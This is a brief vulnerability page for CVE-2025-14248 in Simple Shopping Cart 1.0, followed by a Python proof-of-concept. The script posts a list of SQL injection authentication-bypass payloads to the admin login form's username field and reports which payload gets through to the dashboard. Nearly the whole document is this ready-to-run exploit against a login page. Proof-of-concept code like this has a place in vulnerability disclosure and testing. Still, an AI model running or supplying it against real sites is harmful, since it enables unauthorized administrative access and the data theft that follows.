CVE-2025-14248 Simple Shopping Cart 1.0 adminlogin.php SQL注入漏洞

import requests # CVE-2025-14248 SQL Injection PoC for Simple Shopping Cart 1.0 # Target: /adminlogin.php # Parameter: admin_username target_url = "http://target-site.com/adminlogin.php" # Basic SQL Injection payloads for authentication bypass payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "admin' UNION SELECT 1,2,3--", "' OR 1=1 LIMIT 1--", ] def test_sqli(url, payload): """Test SQL injection vulnerability""" data = { 'admin_username': payload, 'admin_password': 'any', 'login': 'submit' } try: response = requests.post(url, data=data, timeout=10) # Check for successful login indicators if 'dashboard' in response.text.lower() or 'admin' in response.url: return True, payload except Exception as e: print(f"Error: {e}") return False, None # Run PoC for payload in payloads: success, used_payload = test_sqli(target_url, payload) if success: print(f"[+] SQL Injection Successful with payload: {used_payload}") break